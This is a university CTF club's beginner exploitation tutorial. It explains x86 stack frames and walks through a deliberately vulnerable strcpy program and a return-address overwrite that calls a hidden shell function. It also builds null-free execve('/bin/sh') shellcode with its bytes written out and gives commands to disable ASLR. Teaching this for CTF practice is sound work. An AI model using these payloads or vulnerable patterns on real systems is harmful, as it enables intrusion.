You have reached the amazingly awesome page of the pwndevils, a hacking group started at Arizona State University. We love learning about computer systems and competing in Capture the Flag to demonstrate our computer security knowledge.

So You Want To Learn To Hack?

Pick a category that interests you and get started!

Binary Exploitation

Software applications that can be effected either locally or remotely by outside users.
Sections:


Web Exploitation

Web applications that can be effected to either gain undue permissions or access to sensitive information.
Sections:

  • Tools
  • Exploiting The Basics
  • XSS: Cross-side Scripting
  • XSRF: Cross-side Request Forgery
  • Configuration Vulnerabilities


Cryptography

Some application of cryptographic function(s) to turn plaintext into ciphertext.
Sections:

  • Resources
  • Basic Ciphers
  • ECB & CBC
  • AES & Public/Private Crypto
  • What To Look For
  • How To Approach It


Forensics

Disk or Network Traffic captures that have some form of interesting conversation or data.
Sections:

  • Tools
  • Physical Storage
  • Network Traffic
  • Partial Data Recovery
  • Time Stamp Manipulation


Resources

Below are several resources that we thought might be helpful to everyone, whether you are a beginner or a veteran!


Binary Exploitation:




War Games:

  • Zardus' Wargame Nexus You'd have a difficult time finding any worth-while wargames that aren't on this list created by our very own Zardus! A Wargame is a site or platform that allows you to have an account and save your progress as you move through challenges. These are organized by category and skill required so you can just pick one and get going!



Web Exploitation:

  • Google Gruyere Is a vulnerable website/tutorial that has many different web vulnerabilities for you to try your hand at.
  • Damn Vulnerable Web App is another great resource. It requires that you set up an instance on your own machine, but it has several straightforward tasks with different levels.


Binary Exploitation

Tools

The first thing that you want to do is set up your environment. If you're not running some version of linux you can use a Virtual Machine (You can use a MAC, but a VM is recommended). A good free option is Oracle's VirtualBox, but you can use any Virtul Machine softare you're comfortable with.

Once you have a VM software, you'll need a linux operating system. If you're new to linux, I'd suggest going with Ubuntu, but you can use any linux operating system that you want to. If you're on a 64-bit linux system, we'll want to install the necessary 32-bit libraries. Install them on Ubuntu using sudo apt-get install gcc-multilib.

Let's set up our python environment! We'll be using python2.7 for some of our challenges so everything that we install will be for that version. A fantastic library of explotation tools for python is pwntools. You can install it with pip install pwntools. We'll also install ROPgadget with pip install ropgadget. There are some dependencies for this library which may cause problems. An optional upgrade for GDB called GEF.

x86 Assembly

Global Variables

   
    int a;
    int b;
    float c;
    int main() {
        a = 10;
        b = 100;
        c = 10.45;
        a = a + b;
        return 0;
    }
                
    ;a @ 0x8049634
    ;b @ 0x8049638
    ;c @ 0x804963c
    main:
        movl 0x8049634, 0xa
        movl 0x8049638, 0x64
        mov eax, 0x41273333
        mov 0x804963c, eax
        mov edx, 0x8049634
        mov eax, 0x8049638
        lea eax, [edx+eax*1]
        mov 0x8049634, eax

So what's going on here? Above are two snippets of code, the first is C code for a small program and the second is its corresponding x86 assembly code. Let's take a look first at what our variables are in the C code and how they relate to the assembly code.

The first three lines of C code declare some global variables, two int's and one float. However, the equivalent lines for x86 show that the variables are actually stored at memory locations. Notice that the locations are offsets of 4 from each other. This is due to the fact that int's and floats take up 32-bits or 4 bytes each. The second thing to notice is that this is a hard memory address. Each time the binary is run, the variables will always be at these exact addresses. Now to get into the main method.

int a;
int b;
float c;
;a @ 0x8049634
;b @ 0x8049638
;c @ 0x804963c


The assignments in C are plain enough where a = 10 and b = 100. It's a little different for x86. First, there are two syntaxes for x86 assembly (Intel and AT&T). We'll be focusing on the Intel syntax. Now, onto the instructions.

In Intel syntax, the source is on the right and the destination is on the left. The movl instruction moves 32-bits from the source to the destination. The first instruction moves 0xa (10 in decimal) to the memory location 0x8049634 which is actually the location of the a variable. Now that memory location has a value of 0xa which is what our C code did. The next line is very similar, I'll let you figure out what it does.

a = 10;
b = 100;
movl 0x8049634, 0xa
movl 0x8049638, 0x64


It's important to note that in x86, there are several general purpose registers that are used often: eax, ebx, ecx, and edx. For our purposes you can think of them as registers that are used to store values temporarily so that they can be used in operations such as addition or division.

mov is much like movl, but it is mostly used with registers and not immediate values. In this case, the value stored in 0x8049634 or a is moved into edx. The same is done with b and eax. The lea instruction is an optimization trick by the compiler that bypasses the ALU and uses the address bus. The ['s are actually dereferences an address. Essentially, it loads the value of edx + eax into eax meaning eax = eax + edx. The last line moves eax into the location that a is stored at.

a = a + b;
mov edx, 0x8049634
mov eax, 0x8049638
lea eax, [edx+eax*1]
mov 0x8049634, eax

Stack Example

On the bottom left, there are x86 register names as well as the corresponding values in those registers. We've seen eax and ebx before, but what's esp? The esp is the Stack Register. It keeps track of where exactly we are on the stack in memory.

The stack is divided into sections of 4 bytes also known as a word. This means that each time the stack value changes it's by a multiple of 4. Take note, that the stack starts at high memory addresses and grows to low memory address. Our starting value here is at 0x10000 as shown in the bottom left. When we push what is in eax onto the stack, the value of the stack point is decremented by 4 because it is growing towards lower memory. Then when we pop ebx, it means that the value at the stack pointer is moved into the specified register (ebx in this case). Then, the memory that the location was taking up is deallocated by moving the pointer back a word.

0xFFFFFFFF
...     ... Garbage
0x00000000
push eax
pop ebx
eax ebx esp
0xa   0x10000

Local Variables

  
    int main() {

        int a;
        int b;
        float c;
        a = 10;
        b = 100;
        c = 10.45;
        a = a + b;
        return 0;
    }
                
    ;a @ [ebp-0xc]
    ;b @ [ebp-0x8]
    ;c @ [ebp-0xa]
    main:
        mov ebp, esp
        sub esp, 0x10
        movl [ebp-0xc], 0xa
        movl [ebp-0x8], 0x64
        mov eax, 0x41273333
        mov [ebp-0x4], eax
        mov eax, [ebp-0x8]
        add [ebp-0xc], eax
        
0x41273333 0x64 0xa ???? ???? ????

0x41273333 0x64 0x6e ???? ???? ????

So, what's the difference between global variables and local variables. The answer is scope, but you probably already knew that. Now, look back at the global variable example and you'll see that the variables have hard coded addresses in assembly. Now look at where the variables are stored when they're initialized as local variables. If you compare the global and local variable example, you'll see that the only real difference is that instead of the hex address, we have this weird [ebp-NUM] where NUM is any hex value.

To understand this, we'll need to know what the ebp is. The ebp is the Base Pointer, also known as the Frame Pointer. Whenever a function is called, depending on its memory needs, it may allocate some amount of the stack to use as scrap memory. This is where the ebp comes in. It acts as an indicator to the start of a function frame which is the start of the function's stack. When local variables are created they are stored on the stack because they are temporary and only live within their own scope. You can see their storage on stacks to the right of the example assembly code. Since the ebp has the location of the start of the stack for the function, the local variables can be accessed using offsets of it. Assuming the ebp points at the very top of the example stacks, [ebp-0x4] would be the first word shown on the stack with [ebp-0x8] being the second and so on.

int a;
int b;
float c;
;a @ [ebp-0xc]
;b @ [ebp-0x8]
;c @ [ebp-0x4]
mov ebp, esp
sub esp, 0x10

Just as with the global variable example, let's look at what the assignment of the local variables look like. The C code is the same for assignments, but the assembly code is different. Since the variables are local, they are located on the stack rather than at a hard coded address like the global variables. This means that accessing the variables on the stack will be done with an offset from ebp. The movl instruction has the same function as the global variable example. The rest of the assembly is essential the same as well, except with the reference to the variables replaced with offsets of ebp and since we can store stuff on the stack there is no need to use the lea instruction to add and store the results.

a = 10;
b = 100;
movl [ebp-0xc], 0xa
movl [ebp-0x8], 0x64

Local Variable Example

0xFFFFFFFF
.....          
0x00000000
mov ebp, esp
sub esp, 0x10
movl [ebp-0xc], 0xa
movl [ebp-0x8], 0x64
mov eax, 0x41273333
mov [ebp-0x4], eax
mov eax, [ebp-0x8]
add [ebp-0xc], eax
eax esp ebp
  0x10000  

Note: The blue highlight is the ebp and the yellow is esp on the stack.

Function Frames and Calling Convention




int callee(int a, int b)
{
    return a + b + 1;
}



int main()
{
    int a;
    a = callee(10, 40);
    return a;
}




callee:
    push ebp                ;0x8048394
    mov ebp, esp            ;0x8048395
    mov eax, [ebp+0xc]      ;0x8048397
    mov edx, [ebp+0x8]      ;0x804839a
    add eax, edx            ;0x804839d
    add eax, 0x1            ;0x80483a0
    pop ebp                 ;0x80483a3
    ret                     ;0x80483a4
main:
    push ebp                ;0x80483a5
    mov ebp, esp            ;0x80483a6
    sub esp, 0x18           ;0x80483a8
    movl [esp+0x4], 0x28    ;0x80483ab
    movl [esp+0x0], 0xa     ;0x80483b3
    call callee             ;0x80483ba
    mov [ebp-0x4], eax      ;0x80483bf
    mov eax, [ebp-0x4]      ;0x80483c2
    leave                   ;0x80483c5
    ret                     ;0x80483c6

We've already talked a little about what function frames are, so let's complete our understanding. To the right is what's known as the prologue of a function frame. The first thing that's always done is the ebp is pushed to the stack. This saves the previous function's Frame Pointer so that when it is returned to it knows where the start of it's stack is and it's local variables and memory can be accessed. The next operation that is essential is the esp is moved into the ebp. This essentially moves the ebp from the start of the stack to where the esp currently points to. This is to start a new function frame. The next step is only necessary for function frames that require space on the stack. The sub of some amount from esp allocates memory on the stack by creating space between ebp and esp.

push ebp
mov ebp, esp
sub esp, 0x18

These two instructions are what's known as the epilogue of the function frame. The leave instruction is actually a combination of two instructions: mov esp, ebp and pop ebp. Moving ebp into esp essentially deletes the previously allocated stack. Now, the stack pointer is where the previous saved base pointer is. That is, where ebp was originally pushed in the The other instruction, ret, is actually an alias for pop eip. What's the eip? The eip is what's known as the instruction pointer. It's job is to move to the next instruction. The eip can't be directly effected by pops which is why ret is used instead. If you look at the above example, the comments next to each line is the address of the instruction. The eip loads the next address of each instruction to ready it for execution.

leave
ret

This leads us into the calling convection of x86 assembly called cdecl. The base of it is that all functions must have their parameters on the top of the stack before calling the function. If we look up we can see that the callee function takes two ints as parameters. You can see that before calle is called in assembly, the two instructions above it move integers to esp+4 and esp+0. This is the same as pushing the ints one after the other since they would be on the same place on the stack. The reason they aren't pushed is because some of the stack was already allocated so it's better to use the allocated space. The call instruction, much like the leave instruction, is actually two instructions: push eip and jmp FUNC. There are two things to note. Firstly, the push eip actually pushed the address of the next instruction so that when we return to the original function we start executing at that instruction. Secondly, we haven't talked about the jmp instruction, but it's pretty simple. It just sets eip to the raw address or address of the label that it's given. The last thing to mention about cdecl is that the return data is always stored in eax.

movl [esp+0x4], 0x28
movl [esp+0x0], 0xa
call callee

Calling Convention Example

0xFFFFFFFF
                   
0x00000000
callee:
    push ebp                ;0x8048394
    mov ebp, esp            ;0x8048395
    mov eax, [ebp+0xc]      ;0x8048397
    mov edx, [ebp+0x8]      ;0x804839a
    add eax, edx            ;0x804839d
    add eax, 0x1            ;0x80483a0
    pop ebp                 ;0x80483a3
    ret                     ;0x80483a4
main:
    push ebp                ;0x80483a5
    mov ebp, esp            ;0x80483a6
    sub esp, 0x18           ;0x80483a8
    movl [esp+0x4], 0x28    ;0x80483ab
    movl [esp+0x0], 0xa     ;0x80483b3
    call callee             ;0x80483ba
    mov [ebp-0x4], eax      ;0x80483bf
    mov eax, [ebp-0x4]      ;0x80483c2
    leave                   ;0x80483c5
    ret                     ;0x80483c6
eax edx esp ebp eip
    0x10004 0x100a0 0x80483a5

Note: The blue highlight is the ebp and the yellow is esp on the stack.

Buffer Overflows

The Accident

   

#include <string.h>
#include <stdio.h>


void mycpy(char* str)
{
    char foo[4];
    strcyp(foo, str);
}


int main()
{
    mycpy("asu cse 340 fall 2015 rocks!");
    printf("After");
    return 0;
}



                
mycpy: 
    push ebp                    ;0x80483f4
    mov ebp, esp                ;0x80483f5
    sub esp, 0x28               ;0x80483f7
    mov eax, [ebp+0x8]          ;0x80483fa
    mov [esp+0x4], eax          ;0x80483fd
    lea eax, [ebp-0xc]          ;0x8048401
    mov [esp+0x0], eax          ;0x8048404
    call strcpy                 ;0x8048407
    leave                       ;0x804840c
    ret                         ;0x804840d
main:
    push ebp                    ;0x804840e
    mov ebp, esp                ;0x804840f
    sub esp, 0x10               ;0x8048414
    movl [esp+0x0], 0x8048504   ;0x8048417
    call mycpy                  ;0x804841e
    mov eax, 0x8048517          ;0x8048423
    mov [esp+0x0], eax          ;0x8048428
    call printf                 ;0x804842b
    mov eax, 0x0                ;0x8048430
    leave                       ;0x8048435
    ret                         ;0x8048436

We already know what the assembly does, so let's talk about what a buffer overflow is and why or how it can occur. Think back to how function frames work. If a function is called it pushes the address of the next instruction and then the prologue of the called function pushes the ebp. The other important factor is local variables. Remember that local variables are stored on the stack as offsets of the ebp. The combination of these two things is what can lead to a classic buffer overflow. Looking at C code, the basic example is allocating a local buffer with some amount of space and then over filling it. Find the flaw in the above code example and then try it below!

void mycpy(char* str)
{
    char foo[4];
    strcyp(foo, str);
}

Overflow Example

0xFFFFFFFF
                                 
0x00000000
mycpy: 
    push ebp                   ;0x80483f4
    mov ebp, esp               ;0x80483f5
    sub esp, 0x28              ;0x80483f7
    mov eax, [ebp+0x8]         ;0x80483fa
    mov [esp+0x4], eax         ;0x80483fd
    lea eax, [ebp-0xc]         ;0x8048401
    mov [esp+0x0], eax         ;0x8048404
    call strcpy                ;0x8048407
    leave                      ;0x804840c
    ret                        ;0x804840d
main:
    push ebp                   ;0x804840e
    mov ebp, esp               ;0x804840f
    sub esp, 0x10              ;0x8048414
    movl [esp+0x0], 0x8048504  ;0x8048417
    call mycpy                 ;0x804841e
    mov eax, 0x8048517         ;0x8048423
    mov [esp+0x0], eax         ;0x8048428
    call printf                ;0x804842b
    mov eax, 0x0               ;0x8048430
    leave                      ;0x8048435
    ret                        ;0x8048436
eax esp ebp eip
  0x10004 0x100a0 0x804840e

Note: The blue highlight is the ebp and the yellow is esp on the stack.

As the text at the end of the example states, there would be a segfault when the program returns. Why? It's actually pretty easy to understand. When the program calls strcpy it writes the string to the specified location on the stack which happens to be ebp-0xc which is also 0xffdc. However, the string that's written to that location is much larger than four characters. This doesn't stop strcpy though. There's nothing that tells it not to write the entire string so it does. In the process, it overwrites what was previously on the stack. If you look at what is on the stack when strcpy is called you will see the saved ebp directly above where the ebp register points to. The saved ebp is the value of ebp from the previous function. Directly above that is what's called the saved eip which is the address of the instruction that we should return to when we finish this function.

Now, when strcpy is called look at what happens to those values. They get completely overwritten by the contents of the string. Watch what happens when leave and ret are called. The value that is in ebp when leave is called is actually the little-endian value of the ascii in that location. The same is true of eip when ret is called. This means that the eip tries to go to the location of the instruction that is actually the little-endian ascii characters which is definitely not a valid address.

P.S. In x86, all values are actually little endian which means the most significant byte is actually the least significant byte. For example: the value of the string "step" is 0x73746570 to make this little-endian just reverse the byte order so it becomes 0x70657473.

Calling Things You Shouldn't

I've gone ahead and modified the example that we had earlier. You'll see that the same vulnerability exists, but there is now an additional method called notCalled(). As the name states, the function is never called. That's where we come in. But how? How can you call a method that's not called? Wrack your brain a bit. Is there something from the x86 assembly we know of that controls where a program goes? That's right, the eip! It points to the address of the next instruction. If you look back at the last example for x86 you'll see that the saved eip gets overwritten by the local buffer and then we get a segfault when trying to go to the invalid locaiton.

So now that we have a goal, to control the saved eip, how do we go about doing it in a way that is useful to us. The first real step is to understand and dissect what the program does. Looking at the code, you can see that it will only accept two arguments and that the second argument is passed to the mycpy.

Now, if you didn't know, the argv of a program is given via the commandline (e.g. ./myprogram arg1). It's important to note that the argv[0] is actually the file name and argv[1] is the first argument that you provide.

Back to the exploit. So, what's this program doing? It looks like it takes in an argument from argv and sends it to the mycpy() method. So, what's mycpy do? It copies your input string into a 4 char buffer. Well that's a buffer overflow waiting to happen. So now that we've identified the way we can input our buffer overflow and where it occurs, it's now time to actually exploit it! You can download the C file here and the actual binary here. To compile the code yourself do gcc -m32 -fno-stack-protector overflow.c -o overflow.o

(No matter how complicated the overflow, it'll generally boil down to 3 things: Identifying the overflow, Identifying a place to jump to, and how the input is handled)

#include <string.h>
#include <stdio.h>

void mycpy(char* str)
{   
  char foo[4];   
  strcpy(foo, str);
}

int main(int argc, char* argv[])
{   
  if (argc != 2) {
    printf("Please supply a second arg!\n");
    return -1;
  }
  mycpy(argv[1]);   
  printf("After");   
  return 0;
}

void notCalled() {
  printf("YOU CALLED ME!\n");
  system("/bin/sh");
}

Gathering Info

It's now time to introduce the first tool in our arsenal that'll be integral to breaking binaries by looking at the raw assembly, objdump. We can't tell just from the C code how the buffer is set up on the stack. We won't always have the C code to rely on either, so objdump will quickly become a close friend. Let's try it! Navigate to the directory that the overflow.o file is in. Run the command objdump -D -M intel ./overflow.o | less. The -D tells objdump to disassemble everything it can find and the -M intel tells it to disassemble into intel syntax rather than the default AT&T syntax. The pipe to less just makes the output navigable in a vim format. If you don't know how to search type: /search_term. Since we identified the overflow in mycpy() lets search for it and look at what it's assembly is. We really only care about the strcpy function and where the buffers are. Remember that the calling convention for cdecl is to push the arguments to the stack before the function is called.

binary objdump

We can see that there are two push instructions, one that does push DWORD PTR [ebp+0x8] and one that does lea eax, [ebp-0xc]. Which is our local buffer? You can actually tell in two different ways. The first being that the arguments are pushed on the stack in order from last to first meaning that the last push that happens before the function is called is actually the first argument. We know that strcpy moves from (dest, src) meaning the first arg is actually our local buffer. The second way to tell is that the first push to happen pushes the pointer to ebp+0x8. Really the only time an offset of ebp will be positive is when accessing a functions current parameters. Looking at the second push we see that it's a lea instruction meaning its getting a pointer to the location of ebp-0xc. Since ebp-0xc is an address in our current function frame that's where our local buffer is going to be.

To the right is a representation of what the stack would look like in this situation. Since the location of the buffer is ebp-0xc that means that we only need to fill 0xc bytes amount of data (3 words) to reach the ebp. Then to overwrite the Saved EBP we only need 4 more bytes (1 word). I should mention we don't care about what we put in for the Saved EBP location because we won't need to rely on previous stack locations. The next 4 bytes is the value of saved EIP. This is where our eip will move to once the current function returns. What do you think this value should be? What would happen if we put in the address of the notCalled() function? To find the address of the notCalled() function we'll need to go back into our objdump and grab the address next to it. In my case it is 0x08048516 (for reference, the address of mycpy() is 0x0804849b). Okay great, we know what our offset is and the value we want to overwrite the Saved EIP with, but how do we use any of this. We will now enter the awesome world of python.

"Your String" Saved EIP Saved EBP     Buffer Location       &("Your String") &(Buffer Location)
"Your String" Jump Address (Saved EIP) aaaa (Saved EBP) aaaa aaaa aaaa (Buffer Location)       &("Your String") &(Buffer Location)

Exploiting The Binary

Even if you've never written a line of python before, it's actually pretty easy to understand. Since we won't need to write much, we'll actually go for the in-line approach. In bash, you can write in-line python code like this: python -c "your code here". Simple right? Another awesome feature of python is its string repetition operator * We can repeat a string any amount of times with this. Let's say we wanted to write 'Hello' 5 times. Our code would look like "print 'Hello'*5" our output would be HelloHelloHelloHelloHello. Note that we used double quotes to wrap the code and single quotes to wrap the string. You can switch the two so that strings are double quoted and the code is encased in single quotes, but you cannot use one for both strings and code. Now, how can we apply this python to our exploit?

Well we know that we need to generate 3 words for the buffer, 1 word for the Saved EBP and 1 word for the Saved EIP. That's 4 + 1 words in total. Since 1 word is 4 bytes we need a total of 16 + 4 bytes of data. We can write it in python like so python -c "print 'a'*16 + 'b'*4". The reason we use the same character for most things is because we can check the address of the segfault with the command dmesg | tail. An 'a' has the ascii hex value of 0x61 and 'b' 0x62. Looking at the address of a segfault that looks like 0x61616161 would mean that our a's actually filled the Saved EIP. The next thing we want to do is replace the b's with the address of notCalled(). Remember that this is x86 and everything is little-endian so we must reverse our address of 0x08048516 to 0x16850408. Now to have python output the actual bytes rather than the string version we need to use the syntax of '\xBYTE'. So in our case it would be '\x16\x85\x04\x08'. Let's combine this with our previous python code to make python -c "print 'a'*16 + '\x16\x85\x04\x08'". Great, now we have our output set up.

Normally the program would accept input via stdin in which case we could just pipe it into the program like python -c "print 'a'*16 + '\x16\x85\x04\x08'" | ./program.o, but our program accepts the input via an argument. To make bash evaluate the python in the argument we need to wrap it like so: $(python -c "print 'a'*16 + '\x16\x85\x04\x08'"). The whole line with the program will be: ./overflow.o $(python -c "print 'a'*16 + '\x16\x85\x04\x08'"). Congratulations, you just executed your first successful buffer overflow!

Here are some other challenges to try!

Here's an example to help with the stack
Try doing these without C files

Shellcode

What is it?

What is Shellcode? Well I'm glad you asked anonymous reader! Shellcode isn't quite as widely used today due to some protections that were introduced that make the stack non-executable in most systems, but we'll cover it anyways. Shellcode is code that is written, usually in assembly, to primarily get a shell (you can make it do other things, but for now we'll just use it to get shells).

Situations in which you'd actually use shellcode is when you know that the stack is executable and you have no clear target with a buffer overflow. Shellcode will allow us to inject specially crafted code onto the stack and execute it. But how is this possible you might ask? We need to set up a couple of things first in order to make it work.

The first step is to understand how syscall's work in x86. Then you'll need to translate the code you want to execute into assembly. Then you need to modify that assembly so that once the bytecode is made you can actually input the whole thing into the program. The last step is to get that bytecode. Simple enough!

Square One

#include <stdlib.h>

int main() {
    exit(0);
    return 1;
}

.text
.global main

main:
    mov $0x0, %ebx
    mov $0x1, %eax
    int $0x80

Let's start off by trying to replicate something like exit(0) from C into x86. First off, I know we've been reading x86 with intel syntax, but we have to write it with AT&T syntax. The only differences that we'll look at are that all constants are preceded by $, all registers are preceded by %, and the src and dst registers are switched. If you get confused just try and look for a constant like $0x0 being mov'd and you'll see which is the src and dst because you can't mov a register into a constant.


mov $0, %ebx

Now that that's out of the way let's actually try to take this C code and turn it into x86. exit is what's known as a syscall meaning the function is pre-programmed and it runs with escalated privilages. These syscall's all have numbers associated with them and you can find a table here. The syscall number comes into play when setting up the syscall in x86. Looking to the right you can see how an x86 syscall is set up. The syscall number goes into eax. The first parameter goes into ebx. The second paramater goes into ecx and so on. The last thing to note is that in x86 after you've set up all the paramaters and syscall number, you'll need to do a final instruction called int 80. This is a special interupt to let the kernel know that it should start a syscall with this information.

eax: Syscall #
ebx: 1st Param
ecx: 2nd Param
edx: 3rd Param
esi: 4th Param
edi: 5th Param
ebp: 6th Param

return val: eax

Note that the order does not matter in which we load the values as long as everything is in place before we do int 80. We need to look up some information about exit in order to translate it into assembly. First, how many arguments does it take (You can find all this out with the man command on linux)? It takes one argument which is the exit code. Now that we know that, what's its syscall number? We can look at the link and see that it's 1. Now with this we just have to put 1 into eax and whatever we want our exit code to be, in this case 0, in ebx. That's simple enough with a couple of mov instructions. Now just do an int 80 and were done! That was easy.

mov $0x0, %ebx
mov $0x1, %eax
int $0x80
080483db <main>:
 80483db:       bb 00 00 00 00               mov    ebx,0x0
 80483e0:       b8 01 00 00 00               mov    eax,0x1
 80483e5:       cd 80                        int    0x80

Above is the output of the main function from objdump -D -M intel ./a.out | less after saving the assembly code as exit_example.s and compiling with gcc -m32 exit_example.s. We can extract the bytecode from the output above. The bytecode of this output is the bytes between the address and the instruction. The whole bytecode would be bb 00 00 00 00, b8 01 00 00 00, and cd 80. Turning this into something that python can output it also easy, just replace the spaces with with the byte syntax making it '\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80'. However, if there were a buffer overflow we couldn't just send this as input directly into the program unfortunately. The reason we can't do that is due to the fact that our bytecode has NULL bytes in it. This is a problem because strings in C and C++ are null terminated so as soon as whatever is reading our input reaches a NULL byte it'll stop reading the input.

Looking at our first instruction with null bytes we have mov $0x0, %ebx. The null byte comes from loading the constant value of 0. Is there a way to put a 0 into the register of ebx? It would be possible to say mov a 0 from a register that had the value into ebx, but that's not even necessary. One way to put a 0 into the register is to xor the register with itself. The truth table for logical xor is to the right. All it shows is that when two of the bits are the same the result is a 0. This means that if you xor a register with itself its xoring one value with the exact same value which will produce a 0.

  XOR|0|1|
   |0|F|T|
   |1|T|F|

The next instruction we need to replicate without 0's is a little more complicated because it has an actual value. There's actually two solutions that we can use for this. Both start by xoring the eax register. The next and last step is to choose between two instructions: inc and mov. inc is an instruction to increment the value in the register which would make the value in eax go from 0 to 1. The mov instruction requires a little trick, otherwise we'd end up with the same null bytes as before. 32-bit registers are actually made up of smaller registers which you can see to the right.

eax (First 32-bits): 1111 1110 1101 1100 1011 1010 1001 1000
ax (First 16-bits): 1011 1010 1001 1000
ah (Most Significant 8-bits): 1011 1010
al (Least Significant 8-bits): 1001 1000

Looking at the registers breakdown we can see that we can actually address the single least significant byte of a register. We can now move any value less than 256 into this location. Since we only want a 1 into the register so it's fine to move it into the sub-register of al. Let's compile this and look at the bytecode.

xor %ebx, %ebx
mov $0x1, %al
int $0x80
080483db <main>:
 80483db:       31 db                       xor    ebx,ebx
 80483dd:       b0 01                       mov    al,0x1
 80483df:       cd 80                       int    0x80

Our bytecode now is totally different and also much shorter. You can also see that there are no null bytes which is extremely helpful.

Making Something Useful

#include <stdlib.h>

int main() {

    char *shell[2];

    shell[0] = "/bin/sh";
    shell[1] = NULL;

    execve(shell[0], shell, NULL);
    return 0;
}

.text
.global main

main:
    mov $0x0b, %eax
    push $0x0068732f
    push $0x6e69622f
    mov %esp, %ebx
    push $0x0
    push %ebx
    mov %esp, %ecx
    mov $0x0, %edx
    int $0x80

The above code will become our shellcode when we're done taking out the null bytes. First I should clarify that the key piece here is execve. execve is a syscall that executes a binary pointed to by the filepath. Running the man command on it will show us that execve has 3 paramaters: char *filename, char *argv[], and char *envp. So to break this down, the char* to the filename is the full path to the binary file which in our case will be /bin/sh which will give us the shell. The second parameter is a pointer to all the arguments for the function which would be a char**, this can actually be NULL, but the shellcode will fail on some systems. The last paramater is a char* to the environment variables which we don't care about so we can actually make it NULL.


execve(shell[0], shell, NULL);

To explain the assembly above let's look at how we need to set up each of the parameters for the syscall. We have three parameters that will need to be loaded into the ebx, ecx, and edx registers while the syscall number is loaded into the eax register. Looking up the syscall number we can see that it is 11 or 0x0b. This is why we mov 0x0b into eax. The next two instructions are push instructions of bytes. Those bytes are actually the little endian representation of the string "/bin/sh" terminated by a NULL byte. It also greatly helps us that there are only 7 bytes in the string meaning that we only need one byte to fill the rest of the 2nd word taken up by the string. Being word aligned is very important for us because of how we will access it. Since we won't have control over the addresses of the string (most of the time) we need to make sure our shellcode works at any location. We can do this with the next instruction that does a mov of esp into ebx. Since the push isntruction updates the address in esp, when the second push is made the current address in esp points to the NULL terminated string that we pushed. Moving this address into ebx sets up the first parameter of our execve call.


push $0x0068732f
push $0x6e69622f
mov %esp, %ebx

The second parameter that we set up is a pointer to our arguments. This means a pointer to both our filename ('/bin/sh') and our environment variables (NULL). To get a pointer to these arguments we can do exactly what we did to get a pointer to '/bin/sh'. We push 0x0 (which is really 0x00000000) to the stack and then we push the pointer to our filename which is in ebx to the stack. We can then mov the esp into ecx to get a pointer to our arguments. The last argument is easy since its NULL. All we do is mov 0x0 into edx. That's it! You can compile this and run it and you will get a shell. We've just made working shellcode, but as you'll see below there are a lot of NULL bytes in the bytecode we have to worry about.


push $0x0
push %ebx
mov %esp, %ecx
mov $0x0, %edx

080483db <main>:
 80483db:       b8 0b 00 00 00          mov    eax,0xb
 80483e0:       68 2f 73 68 00          push   0x68732f
 80483e5:       68 2f 62 69 6e          push   0x6e69622f
 80483ea:       89 e3                   mov    ebx,esp
 80483ec:       6a 00                   push   0x0
 80483ee:       53                      push   ebx
 80483ef:       89 e1                   mov    ecx,esp
 80483f1:       ba 00 00 00 00          mov    edx,0x0
 80483f6:       cd 80                   int    0x80

The first set of NULL bytes that we can see come from moving 0x0b into eax. We've seen before with our example with exit() that we can move single bytes into registers using their least significant 8-bit sub-register. We of course need to xor the register with itself first to make sure that our mov into the lower bits is the correct value of the entire register. That's the first one down, 3 to go!

mov $0x0b, %eax

xor %eax, %eax
mov $0x0b, %al

The second NULL byte comes from NULL terminating the '/bin/sh' string. We need to NULL terminate the string still so we'll put a 0x0 value into edx because it'll be 0x0 later anyway and we can use it now by pushing it to the stack now. Then we can push the string to the stack and it will be followed by 0x0 because we pushed edx first. We run into a problem now though because we our last bytes of the string are not word aligned. We can solve this by adding extra /'s (0x2f in byte form). This is acceptable because you can add as many /'s to a string or command consecutively and it will not change the command. You can try this in linux with the cd command (e.g. cd ~///////////////Documents will still work).

push $0x0068732f
push $0x6e69622f

xor %edx, %edx
push %edx
push $0x68732f2f
push $0x6e69622f  

This next one is pretty easy since we can replace pushing 0x0 directly with just pushing the edx register since we've already xor'd it and zeroed it out.

push $0x0

push %edx

We can actually completely ignore this instruction because as stated above we've already zeroed out the edx register. Let's take a look at the final result below.


mov $0x0, %edx

.text
.global main

main:
    xor %eax, %eax
    mov $0x0b, %al
    xor %edx, %edx
    push %edx
    push $0x68732f2f
    push $0x6e69622f
    mov %esp, %ebx
    push %edx
    push %ebx
    mov %esp, %ecx
    int $0x80
080483db <main>:
 80483db:       31 c0                           xor    eax,eax
 80483dd:       b0 0b                           mov    al,0xb
 80483df:       31 d2                           xor    edx,edx
 80483e1:       52                              push   edx
 80483e2:       68 2f 2f 73 68                  push   0x68732f2f
 80483e7:       68 2f 62 69 6e                  push   0x6e69622f
 80483ec:       89 e3                           mov    ebx,esp
 80483ee:       52                              push   edx
 80483ef:       53                              push   ebx
 80483f0:       89 e1                           mov    ecx,esp
 80483f2:       cd 80                           int    0x80



We can see that there are no NULL bytes at all in our bytecode! Let's just quickly translate that into something that python could ouptut, here it is: '\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' (25 bytes). Now thatf we finally have our non-NULL byte shellcode, let's put it to use!

Applying What You Know (shell_overflow)

Stack dump:
0xffffd120: 0xffffd3c5 (first argument)
0xffffd11c: 0x08048599 (saved eip)
0xffffd118: 0xffffd148 (saved ebp)
0xffffd114: 0xf7eb6306
0xffffd110: 0x000003e8
0xffffd10c: 0xf7eb6300
0xffffd108: 0xffffd184
0xffffd104: 0xf7fee010
0xffffd100: 0xffffd148
0xffffd0fc: 0xf7fb6000
0xffffd0f8: 0xf7fb6000
0xffffd0f4: 0xffffd160
0xffffd0f0: 0xf7fe780b
0xffffd0ec: 0xf7eb6330
0xffffd0e8: 0x000003e8
0xffffd0e4: 0x000003e8
0xffffd0e0: 0xffffd148
0xffffd0dc: 0x00000000
0xffffd0d8: 0x000000e0
0xffffd0d4: 0x0804826c
0xffffd0d0: 0xf7ffd000 (beginning of buffer)

This output is from the shell_overflow challenge which can be downloaded here. To do this challenge easily, we're going to turn of ASLR (Address Space Layout Randomization) which randomizes the location of the stack. To disable ASLR you can use the command echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. To re-enable ASLR you can use the command echo 2 | sudo tee /proc/sys/kernel/randomize_va_space. Now, every time you run this the addresses printed out on the left column will be the same.

